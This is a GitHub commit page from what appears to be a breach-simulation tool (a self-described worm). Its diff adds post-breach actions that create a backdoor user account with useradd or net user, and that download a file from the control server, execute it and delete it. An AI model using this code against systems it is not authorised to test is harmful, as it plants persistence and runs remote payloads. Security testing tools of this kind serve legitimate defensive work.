-
Notifications
You must be signed in to change notification settings - Fork 786
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #316 from VakarisZ/post_breach_refactor
Post breach refactored to support PBA's from list
- Loading branch information
Showing
15 changed files
with
203 additions
and
224 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,4 +1 @@ | ||
__author__ = 'danielg' | ||
|
||
|
||
from add_user import BackdoorUser |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,11 @@ | ||
from os.path import dirname, basename, isfile, join | ||
import glob | ||
|
||
|
||
def get_pba_files(): | ||
""" | ||
Gets all files under current directory(/actions) | ||
:return: list of all files without .py ending | ||
""" | ||
files = glob.glob(join(dirname(__file__), "*.py")) | ||
return [basename(f)[:-3] for f in files if isfile(f) and not f.endswith('__init__.py')] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,19 @@ | ||
import datetime | ||
from infection_monkey.post_breach.pba import PBA | ||
from infection_monkey.config import WormConfiguration | ||
|
||
|
||
__author__ = 'danielg' | ||
|
||
LINUX_COMMANDS = ['useradd', '-M', '--expiredate', | ||
datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER', | ||
WormConfiguration.user_to_add] | ||
|
||
WINDOWS_COMMANDS = ['net', 'user', WormConfiguration.user_to_add, | ||
WormConfiguration.remote_user_pass, | ||
'/add', '/ACTIVE:NO'] | ||
|
||
|
||
class BackdoorUser(PBA): | ||
def __init__(self): | ||
super(BackdoorUser, self).__init__("Backdoor user", linux_cmd=LINUX_COMMANDS, windows_cmd=WINDOWS_COMMANDS) |
91 changes: 91 additions & 0 deletions
91
monkey/infection_monkey/post_breach/actions/users_custom_pba.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,91 @@ | ||
import os | ||
import logging | ||
|
||
from infection_monkey.utils import is_windows_os | ||
from infection_monkey.post_breach.pba import PBA | ||
from infection_monkey.control import ControlClient | ||
from infection_monkey.config import WormConfiguration | ||
from infection_monkey.utils import get_monkey_dir_path | ||
|
||
LOG = logging.getLogger(__name__) | ||
|
||
__author__ = 'VakarisZ' | ||
|
||
# Default commands for executing PBA file and then removing it | ||
DEFAULT_LINUX_COMMAND = "chmod +x {0} ; {0} ; rm {0}" | ||
DEFAULT_WINDOWS_COMMAND = "{0} & del {0}" | ||
|
||
DIR_CHANGE_WINDOWS = 'cd %s & ' | ||
DIR_CHANGE_LINUX = 'cd %s ; ' | ||
|
||
|
||
class UsersPBA(PBA): | ||
""" | ||
Defines user's configured post breach action. | ||
""" | ||
def __init__(self): | ||
super(UsersPBA, self).__init__("File execution") | ||
self.filename = '' | ||
if not is_windows_os(): | ||
# Add linux commands to PBA's | ||
if WormConfiguration.PBA_linux_filename: | ||
if WormConfiguration.custom_PBA_linux_cmd: | ||
# Add change dir command, because user will try to access his file | ||
self.command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + WormConfiguration.custom_PBA_linux_cmd | ||
self.filename = WormConfiguration.PBA_linux_filename | ||
else: | ||
file_path = os.path.join(get_monkey_dir_path(), WormConfiguration.PBA_linux_filename) | ||
self.command = DEFAULT_LINUX_COMMAND.format(file_path) | ||
self.filename = WormConfiguration.PBA_linux_filename | ||
elif WormConfiguration.custom_PBA_linux_cmd: | ||
self.command = WormConfiguration.custom_PBA_linux_cmd | ||
else: | ||
# Add windows commands to PBA's | ||
if WormConfiguration.PBA_windows_filename: | ||
if WormConfiguration.custom_PBA_windows_cmd: | ||
# Add change dir command, because user will try to access his file | ||
self.command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + WormConfiguration.custom_PBA_windows_cmd | ||
self.filename = WormConfiguration.PBA_windows_filename | ||
else: | ||
file_path = os.path.join(get_monkey_dir_path(), WormConfiguration.PBA_windows_filename) | ||
self.command = DEFAULT_WINDOWS_COMMAND.format(file_path) | ||
self.filename = WormConfiguration.PBA_windows_filename | ||
elif WormConfiguration.custom_PBA_windows_cmd: | ||
self.command = WormConfiguration.custom_PBA_windows_cmd | ||
|
||
def _execute_default(self): | ||
if self.filename: | ||
UsersPBA.download_pba_file(get_monkey_dir_path(), self.filename) | ||
return super(UsersPBA, self)._execute_default() | ||
|
||
@staticmethod | ||
def should_run(class_name): | ||
if not is_windows_os(): | ||
if WormConfiguration.PBA_linux_filename or WormConfiguration.custom_PBA_linux_cmd: | ||
return True | ||
else: | ||
if WormConfiguration.PBA_windows_filename or WormConfiguration.custom_PBA_windows_cmd: | ||
return True | ||
return False | ||
|
||
@staticmethod | ||
def download_pba_file(dst_dir, filename): | ||
""" | ||
Handles post breach action file download | ||
:param dst_dir: Destination directory | ||
:param filename: Filename | ||
:return: True if successful, false otherwise | ||
""" | ||
|
||
pba_file_contents = ControlClient.get_pba_file(filename) | ||
|
||
if not pba_file_contents or not pba_file_contents.content: | ||
LOG.error("Island didn't respond with post breach file.") | ||
return False | ||
try: | ||
with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file: | ||
written_PBA_file.write(pba_file_contents.content) | ||
return True | ||
except IOError as e: | ||
LOG.error("Can not upload post breach file to target machine: %s" % e) | ||
return False |
This file was deleted.
Oops, something went wrong.
This file was deleted.
Oops, something went wrong.
Oops, something went wrong.